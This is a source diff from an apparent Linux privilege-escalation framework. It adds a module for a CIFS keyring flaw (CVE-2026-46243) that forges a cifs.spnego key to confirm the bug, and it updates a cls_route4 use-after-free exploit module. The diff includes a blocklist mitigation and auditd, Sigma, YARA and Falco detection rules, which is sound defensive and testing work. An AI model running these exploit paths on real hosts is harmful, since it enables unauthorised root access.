{6, 12, 90}, /* 6.12-LTS backport (Debian trixie) */
|
||||
{7, 0, 10}, /* 7.0 stable (Debian forky / sid) */
|
||||
};
|
||||
|
||||
static const struct kernel_range cifswitch_range = {
|
||||
.patched_from = cifswitch_patched_branches,
|
||||
.n_patched_from = sizeof(cifswitch_patched_branches) /
|
||||
sizeof(cifswitch_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* Is the vulnerable userspace path present? The load-bearing signal is
|
||||
* the cifs.upcall helper (the privileged component the bug abuses); the
|
||||
* cifs.spnego request-key rule and a loaded/loadable cifs module
|
||||
* corroborate. SKELETONKEY_CIFS_ASSUME_PRESENT overrides the probe:
|
||||
* "1" = present, "0" = absent (operators who know their fleet's CIFS
|
||||
* posture, and the unit tests, use this). */
|
||||
static bool cifs_userspace_present(void)
|
||||
{
|
||||
const char *force = getenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
|
||||
if (force && (force[0] == '1' || force[0] == '0'))
|
||||
return force[0] == '1';
|
||||
|
||||
struct stat st;
|
||||
static const char *upcall_paths[] = {
|
||||
"/usr/sbin/cifs.upcall", "/sbin/cifs.upcall",
|
||||
"/usr/bin/cifs.upcall", "/usr/local/sbin/cifs.upcall", NULL,
|
||||
};
|
||||
for (size_t i = 0; upcall_paths[i]; i++)
|
||||
if (stat(upcall_paths[i], &st) == 0)
|
||||
return true;
|
||||
|
||||
/* request-key rule for cifs.spnego (cifs-utils ships this). */
|
||||
static const char *reqkey_paths[] = {
|
||||
"/etc/request-key.d/cifs.spnego.conf",
|
||||
"/usr/share/request-key.d/cifs.spnego.conf", NULL,
|
||||
};
|
||||
for (size_t i = 0; reqkey_paths[i]; i++)
|
||||
if (stat(reqkey_paths[i], &st) == 0)
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] cifswitch: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* A patched kernel is not vulnerable regardless of the userspace
|
||||
* path — decide that first so the verdict is deterministic. */
|
||||
if (kernel_range_is_patched(&cifswitch_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] cifswitch: kernel %s is patched "
|
||||
"(version-only check)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Vulnerable kernel. Exploitation needs the cifs.upcall userspace
|
||||
* path; without it the technique is unreachable here. */
|
||||
if (!cifs_userspace_present()) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cifswitch: kernel %s is in the vulnerable "
|
||||
"range but cifs.upcall / cifs.spnego request-key "
|
||||
"rule not found — cifs-utils not installed, bug "
|
||||
"not reachable here\n", v->release);
|
||||
fprintf(stderr, "[i] cifswitch: if you know this fleet uses CIFS, "
|
||||
"re-run with SKELETONKEY_CIFS_ASSUME_PRESENT=1\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cifswitch: kernel %s VULNERABLE and cifs.upcall "
|
||||
"present — CVE-2026-46243 reachable\n", v->release);
|
||||
fprintf(stderr, "[i] cifswitch: userspace can forge cifs.spnego key "
|
||||
"descriptions (pid/uid/creduid/upcall_target) the root "
|
||||
"cifs.upcall helper trusts\n");
|
||||
fprintf(stderr, "[i] cifswitch: branches Debian doesn't track "
|
||||
"(5.15/6.6/6.8/6.11) are version-only here; confirm with "
|
||||
"`--exploit cifswitch --i-know`\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] cifswitch: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
skeletonkey_result_t pre = cifswitch_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] cifswitch: detect() says not vulnerable/reachable; "
|
||||
"refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] cifswitch: already running as root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Reachable, non-destructive primitive witness: can we, as an
|
||||
* unprivileged user, register a cifs.spnego key carrying the
|
||||
* authority-bearing fields? add_key(2) instantiates the key directly
|
||||
* — it does NOT invoke cifs.upcall (that is request_key's upcall
|
||||
* path), so this loads nothing and triggers no privileged helper. On
|
||||
* a VULNERABLE kernel the type accepts the userspace-originated
|
||||
* description; the fix (3da1fdf4efbc) rejects it. We revoke any key
|
||||
* we create immediately. A clean accept is the empirical signal that
|
||||
* the missing-origin-validation flaw is present; any error is treated
|
||||
* as inconclusive (could be patched, or add_key unsupported for the
|
||||
* type) and reported honestly — we never infer root from it. */
|
||||
const char *desc =
|
||||
"ver=0x2;host=skeletonkey-probe;ip4=127.0.0.1;sec=krb5;"
|
||||
"uid=0x0;creduid=0x0;user=skprobe;pid=0x0";
|
||||
errno = 0;
|
||||
sk_key_serial_t k = sk_add_key("cifs.spnego", desc, "\x00", 1,
|
||||
KEY_SPEC_PROCESS_KEYRING);
|
||||
if (k > 0) {
|
||||
sk_keyctl_revoke(k); /* don't leave the probe key lying around */
|
||||
fprintf(stderr,
|
||||
"[!] cifswitch: primitive CONFIRMED — kernel accepted a "
|
||||
"userspace-forged cifs.spnego key (serial %d) carrying "
|
||||
"uid/creduid/upcall_target. CVE-2026-46243 reachable.\n", k);
|
||||
fprintf(stderr,
|
||||
"[i] cifswitch: the full root-pop (user+mount namespace switch "
|
||||
"coercing cifs.upcall to load an attacker NSS module as root) is "
|
||||
"target/config-specific and NOT bundled until VM-verified. Not "
|
||||
"fabricating a shell. See module NOTICE.md (Asim Manizada PoC).\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (errno == ENOSYS) {
|
||||
fprintf(stderr, "[-] cifswitch: add_key(2) ENOSYS — keyrings "
|
||||
"unavailable in this kernel build\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[-] cifswitch: kernel did not accept a userspace-forged cifs.spnego "
|
||||
"key (add_key: %s). Inconclusive — the kernel may carry the fix "
|
||||
"(3da1fdf4efbc rejects userspace descriptions), or the key type may "
|
||||
"not permit direct add_key here. detect() reported the version+helper "
|
||||
"as vulnerable; verify against a known-vulnerable VM.\n",
|
||||
strerror(errno));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Mitigation: the vendor-recommended runtime fix is to blocklist the
|
||||
* cifs module so the vulnerable upcall path cannot be reached. We write
|
||||
* a modprobe.d blocklist (needs root; persists across reboot and blocks
|
||||
* future autoload). We do not force-unload a possibly-mounted cifs. The
|
||||
* real fix is the kernel patch. --cleanup removes the blocklist file. */
|
||||
#define CIFSWITCH_BLOCKLIST "/etc/modprobe.d/skeletonkey-disable-cifs.conf"
|
||||
|
||||
static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
int fd = open(CIFSWITCH_BLOCKLIST, O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
||||
if (fd < 0) {
|
||||
fprintf(stderr, "[-] cifswitch: cannot write %s: %s "
|
||||
"(need root: run as root, or "
|
||||
"`echo 'blacklist cifs' | sudo tee %s`)\n",
|
||||
CIFSWITCH_BLOCKLIST, strerror(errno), CIFSWITCH_BLOCKLIST);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static const char body[] =
|
||||
"# Added by SKELETONKEY --mitigate cifswitch (CVE-2026-46243).\n"
|
||||
"# Blocklists the cifs module so the vulnerable cifs.spnego upcall\n"
|
||||
"# path cannot be reached. Remove via `--cleanup cifswitch`.\n"
|
||||
"blacklist cifs\n"
|
||||
"install cifs /bin/false\n";
|
||||
ssize_t w = write(fd, body, sizeof body - 1);
|
||||
close(fd);
|
||||
if (w != (ssize_t)(sizeof body - 1)) {
|
||||
fprintf(stderr, "[-] cifswitch: short write to %s\n", CIFSWITCH_BLOCKLIST);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr, "[+] cifswitch: wrote %s (blocklist cifs). Already-loaded "
|
||||
"cifs stays until unmounted+`rmmod cifs` or reboot. This is "
|
||||
"a stopgap; patch the kernel. Revert: `--cleanup cifswitch`.\n",
|
||||
CIFSWITCH_BLOCKLIST);
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (unlink(CIFSWITCH_BLOCKLIST) == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] cifswitch: removed %s\n", CIFSWITCH_BLOCKLIST);
|
||||
} else if (errno != ENOENT) {
|
||||
fprintf(stderr, "[-] cifswitch: could not remove %s: %s\n",
|
||||
CIFSWITCH_BLOCKLIST, strerror(errno));
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: keyrings, cifs.upcall and modprobe are all
|
||||
* Linux-only. Stub so the module still registers and `make` completes on
|
||||
* macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] cifswitch: Linux-only module "
|
||||
"(cifs.spnego keyring trust) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] cifswitch: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained. The
|
||||
* behavioural signal is a non-root process creating a `cifs.spnego` key
|
||||
* (add_key/request_key) and/or an unexpected cifs.upcall execution
|
||||
* paired with user-namespace setup. */
|
||||
static const char cifswitch_auditd[] =
|
||||
"# CVE-2026-46243 (CIFSwitch) — auditd detection rules\n"
|
||||
"# A non-root add_key/request_key for cifs.spnego is the core abuse,\n"
|
||||
"# usually paired with unshare(CLONE_NEWUSER|CLONE_NEWNS) and a\n"
|
||||
"# cifs.upcall execution that loads an attacker NSS module.\n"
|
||||
"-a always,exit -F arch=b64 -S add_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-a always,exit -F arch=b64 -S request_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-w /usr/sbin/cifs.upcall -p x -k skeletonkey-cifswitch\n";
|
||||
|
||||
static const char cifswitch_sigma[] =
|
||||
"title: Possible CVE-2026-46243 CIFSwitch cifs.spnego keyring LPE\n"
|
||||
"id: 9b2e7c10-skeletonkey-cifswitch\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects a non-root process creating a cifs.spnego key via\n"
|
||||
" add_key/request_key. CIFSwitch forges the authority-bearing fields\n"
|
||||
" (uid/creduid/upcall_target) in a cifs.spnego key description that\n"
|
||||
" the root cifs.upcall helper trusts, then uses namespace tricks to\n"
|
||||
" load an attacker NSS module as root. False positives: legitimate\n"
|
||||
" CIFS/Kerberos mounts normally trigger cifs.spnego from kernel\n"
|
||||
" context (root), not from an unprivileged add_key.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" keyop: {type: 'SYSCALL', syscall: ['add_key', 'request_key']}\n"
|
||||
" non_root: {auid|expression: '>= 1000'}\n"
|
||||
" condition: keyop and non_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46243]\n";
|
||||
|
||||
static const char cifswitch_falco[] =
|
||||
"- rule: non-root cifs.spnego key creation (CVE-2026-46243 CIFSwitch)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates a cifs.spnego key (add_key/request_key)\n"
|
||||
" or spawns cifs.upcall outside a kernel-initiated CIFS mount. The\n"
|
||||
" CIFSwitch LPE forges authority fields in the key description that\n"
|
||||
" the root cifs.upcall helper trusts, loading an attacker NSS module\n"
|
||||
" as root. False positives: container/CIFS tooling run as root.\n"
|
||||
" condition: >\n"
|
||||
" ((evt.type in (add_key, request_key)) or\n"
|
||||
" (spawned_process and proc.name = cifs.upcall)) and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" non-root cifs.spnego key op / cifs.upcall (possible CVE-2026-46243)\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46243]\n";
|
||||
|
||||
const struct skeletonkey_module cifswitch_module = {
|
||||
.name = "cifswitch",
|
||||
.cve = "CVE-2026-46243",
|
||||
.summary = "cifs.spnego key type trusts userspace-forged authority fields → cifs.upcall loads attacker NSS module as root (Asim Manizada)",
|
||||
.family = "cifswitch",
|
||||
.kernel_range = "fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); ~19-year-old bug below those",
|
||||
.detect = cifswitch_detect,
|
||||
.exploit = cifswitch_exploit,
|
||||
.mitigate = cifswitch_mitigate,
|
||||
.cleanup = cifswitch_cleanup,
|
||||
.detect_auditd = cifswitch_auditd,
|
||||
.detect_sigma = cifswitch_sigma,
|
||||
.detect_yara = NULL, /* attacker NSS .so has no stable signature; behavioural bug */
|
||||
.detect_falco = cifswitch_falco,
|
||||
.opsec_notes = "detect() consults the shared host fingerprint for the kernel version (Debian backports 5.10.257/6.1.174/6.12.90/7.0.10) and probes for the cifs.upcall helper / cifs.spnego request-key rule (override via SKELETONKEY_CIFS_ASSUME_PRESENT=1/0); a vulnerable kernel without cifs-utils is PRECOND_FAIL. exploit() fires only the non-destructive primitive: add_key(2) of a forged-but-benign cifs.spnego key (does NOT invoke cifs.upcall, loads nothing), revokes it immediately, and treats a clean accept as the empirical witness — it never runs the namespace-switch + malicious-NSS-load chain that pops root, and returns EXPLOIT_FAIL without a euid-0 witness. Audit-visible via add_key/request_key for cifs.spnego by a non-root auid, typically alongside unshare(CLONE_NEWUSER|CLONE_NEWNS) and a cifs.upcall execution. --mitigate writes /etc/modprobe.d/skeletonkey-disable-cifs.conf (blacklist cifs); --cleanup removes it. Arch-agnostic (no shellcode).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_cifswitch(void)
|
||||
{
|
||||
skeletonkey_register(&cifswitch_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* cifswitch_cve_2026_46243 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CIFSWITCH_SKELETONKEY_MODULES_H
|
||||
#define CIFSWITCH_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module cifswitch_module;
|
||||
|
||||
#endif
|
||||
@@ -40,9 +40,6 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -50,6 +47,14 @@
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
@@ -64,9 +69,9 @@
|
||||
|
||||
static const struct kernel_patched_from cls_route4_patched_branches[] = {
|
||||
{5, 4, 213},
|
||||
{5, 10, 143},
|
||||
{5, 10, 136}, /* Debian tracker: earlier than 5.10.143 */
|
||||
{5, 15, 69},
|
||||
{5, 18, 18},
|
||||
{5, 18, 16}, /* Debian tracker: earlier than 5.18.18 */
|
||||
{5, 19, 7},
|
||||
{5, 20, 0}, /* mainline */
|
||||
};
|
||||
@@ -93,55 +98,46 @@ static bool cls_route4_module_available(void)
|
||||
return found;
|
||||
}
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] cls_route4: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug-introduction predates anything we'd reasonably scan; if the
|
||||
* kernel is below the oldest LTS we model (5.4), still report
|
||||
* vulnerable. */
|
||||
bool patched = kernel_range_is_patched(&cls_route4_range, &v);
|
||||
bool patched = kernel_range_is_patched(&cls_route4_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Module + userns preconditions. */
|
||||
bool nft_loaded = cls_route4_module_available();
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] cls_route4: cls_route4 module currently loaded: %s\n",
|
||||
nft_loaded ? "yes" : "no (may autoload)");
|
||||
fprintf(stderr, "[i] cls_route4: unprivileged user_ns + net_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
/* If userns is locked down, unprivileged-LPE path is closed.
|
||||
* Kernel still needs patching though — report PRECOND_FAIL so the
|
||||
* verdict isn't "VULNERABLE" but the issue isn't masked. */
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
@@ -412,8 +408,6 @@ static long slab_active_kmalloc_1k(void)
|
||||
* Honest scope: this is structurally-fires-on-vuln + sentinel-arbitrated,
|
||||
* not a deterministic R/W. Same shape and same depth as xtcompat. */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
struct cls_route4_arb_ctx {
|
||||
/* msg_msg queues kept hot inside the userns child. The arb-write
|
||||
* sprays additional kaddr-tagged payloads into these and re-fires
|
||||
@@ -544,8 +538,6 @@ static int cls4_arb_write(uintptr_t kaddr,
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Exploit driver ----------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
||||
@@ -555,7 +547,8 @@ static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx
|
||||
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] cls_route4: already root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -565,11 +558,6 @@ static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
/* Full-chain pre-check: resolve offsets before forking. If
|
||||
* modprobe_path can't be resolved, refuse early — no point doing
|
||||
* the userns + tc + spray + trigger dance if we can't finish. */
|
||||
@@ -782,7 +770,6 @@ static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
@@ -803,6 +790,34 @@ static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: cls_route4 / tc / netlink / msg_msg are
|
||||
* Linux-only kernel surface; the route4 dead-UAF is structurally
|
||||
* unreachable elsewhere. Stub out cleanly so the module still
|
||||
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||
* boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] cls_route4: Linux-only module "
|
||||
"(net/sched cls_route4 + msg_msg) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] cls_route4: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char cls_route4_auditd[] =
|
||||
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
|
||||
"# Flag tc filter operations with route4 classifier from non-root.\n"
|
||||
@@ -811,6 +826,54 @@ static const char cls_route4_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
|
||||
|
||||
static const char cls_route4_sigma[] =
|
||||
"title: Possible CVE-2022-2588 cls_route4 dead-UAF\n"
|
||||
"id: d56e8fc4-skeletonkey-cls-route4\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the net/sched cls_route4 dead-UAF setup: unshare userns +\n"
|
||||
" netns + tc qdisc/filter rules with handle 0 + delete + msg_msg\n"
|
||||
" spray + UDP sendto on a dummy interface. False positives:\n"
|
||||
" traffic-shaping config in rootless containers.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" udp: {type: 'SYSCALL', syscall: 'sendto'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: userns and udp and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.2588]\n";
|
||||
|
||||
static const char cls_route4_yara[] =
|
||||
"rule cls_route4_cve_2022_2588 : cve_2022_2588 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-2588\"\n"
|
||||
" description = \"cls_route4 dead-UAF kmalloc-1k spray tag and log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY4\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-cls_route4.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char cls_route4_falco[] =
|
||||
"- rule: tc route4 filter manipulation by non-root in userns\n"
|
||||
" desc: |\n"
|
||||
" Non-root tc qdisc + route4 filter add/delete inside a userns\n"
|
||||
" + UDP sendto trigger. CVE-2022-2588 dead-UAF pattern. False\n"
|
||||
" positives: legitimate traffic shaping inside rootless\n"
|
||||
" containers.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendto and fd.sockfamily = AF_INET and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" UDP sendto on dummy iface from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2022.2588]\n";
|
||||
|
||||
const struct skeletonkey_module cls_route4_module = {
|
||||
.name = "cls_route4",
|
||||
.cve = "CVE-2022-2588",
|
||||
@@ -822,9 +885,11 @@ const struct skeletonkey_module cls_route4_module = {
|
||||
.mitigate = NULL, /* mitigation: blacklist cls_route4 module OR disable user_ns */
|
||||
.cleanup = cls_route4_cleanup,
|
||||
.detect_auditd = cls_route4_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = cls_route4_sigma,
|
||||
.detect_yara = cls_route4_yara,
|
||||
.detect_falco = cls_route4_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET); ip link/addr/route to make a dummy interface, htb qdisc + class + route4 filter with handle 0, delete filter (leaves dangling tcf_proto pointer), msg_msg spray kmalloc-1k tagged 'SKELETONKEY4', UDP sendto to trigger classify(). Writes /tmp/skeletonkey-cls_route4.log. Audit-visible via unshare + sendto(AF_INET) + msgsnd. Cleanup callback removes /tmp log + dummy interface.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_cls_route4(void)
|
||||
|
||||
@@ -17,6 +17,7 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include "src/common.h"
|
||||
#include "src/copyfail.h"
|
||||
@@ -33,10 +34,39 @@ static void apply_ctx(const struct skeletonkey_ctx *ctx)
|
||||
dirtyfail_use_color = !ctx->no_color;
|
||||
dirtyfail_active_probes = ctx->active_probe;
|
||||
dirtyfail_json = ctx->json;
|
||||
/* Forward the --i-know authorization gate. SKELETONKEY already
|
||||
* blocks --exploit/--auto unless --i-know is passed, so by the time
|
||||
* a DIRTYFAIL exploit callback runs, authorization is established.
|
||||
* This lets typed_confirm() skip its (now redundant) interactive
|
||||
* prompt, which otherwise deadlocks `skeletonkey --auto --i-know`. */
|
||||
dirtyfail_assume_yes = ctx->authorized;
|
||||
/* dirtyfail_no_revert is intentionally not driven from ctx —
|
||||
* it's a debug knob; default stays off. */
|
||||
}
|
||||
|
||||
/* Bridge-level userns precondition. The 4 dirty_frag siblings + the
|
||||
* GCM variant all reach the bug via XFRM-ESP / AF_RXRPC paths gated on
|
||||
* unprivileged user-namespace creation (the inner DIRTYFAIL detect
|
||||
* checks for it too, but doing it here gives the dispatcher one
|
||||
* testable point per module and short-circuits the heavier
|
||||
* inner-detect work when the gate is closed). copy_fail itself uses
|
||||
* AF_ALG which doesn't strictly need userns, so it bypasses this
|
||||
* gate — its inner detect still confirms the primitive empirically. */
|
||||
static skeletonkey_result_t cff_check_userns(const char *modname,
|
||||
const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
